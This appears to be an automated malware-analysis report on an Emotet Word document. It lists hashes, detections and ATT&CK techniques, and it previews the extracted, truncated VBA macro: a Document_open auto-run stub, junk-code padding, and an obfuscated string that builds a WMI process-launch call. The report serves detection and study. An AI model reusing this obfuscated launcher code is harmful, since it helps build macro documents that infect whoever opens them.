Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 976f8f9b481a105c…

MALICIOUS

Office (OLE)

231.4 KB Created: 2020-08-28 20:19:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: b1e8e935ca5ac8ada5fe25fc7d25fc13 SHA-1: c09ec2a48071662e783b95b6179a3b26b43196f8 SHA-256: 976f8f9b481a105cf4301ed9bd4b455f54d28db3c6d1151cd7fdfc61d5da82cb
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject, indicating malicious intent. ClamAV detection confirms this, identifying it as Emotet. The macro likely downloads and executes a second-stage payload, a common Emotet tactic.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16087 bytes
SHA-256: bd2598e07328be17333ff2a49d513d5ef4692615b2868bee1e100bc0f3125399
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Zyt92t1_se59"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Gt6i6c470jgset.E31drsa1brp
End Sub


Attribute VB_Name = "Gt6i6c470jgset"
Attribute VB_Base = "0{1DFE1CD5-A459-460D-BBB6-D6493A4DB6D4}{39CD090D-1AC7-42D4-9E13-2B1C335AAE4F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function E31drsa1brp()
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Qftaq3d_5vg0r3uzi5 = 100
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Hsk0shkxdqfn34ii = ChrW(Qftaq3d_5vg0r3uzi5 + (yyyy + 5 + bbbbb + 10))
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Ue4und1i1_bsp = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + Hsk0shkxdqfn34ii + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + Gt6i6c470jgset.C3b2x3kwcrer43 + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
A7vr39wwm8kj4u4z1e = Y3uletr5xj2ch(Ue4und1i1_bsp)
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi
... (truncated)

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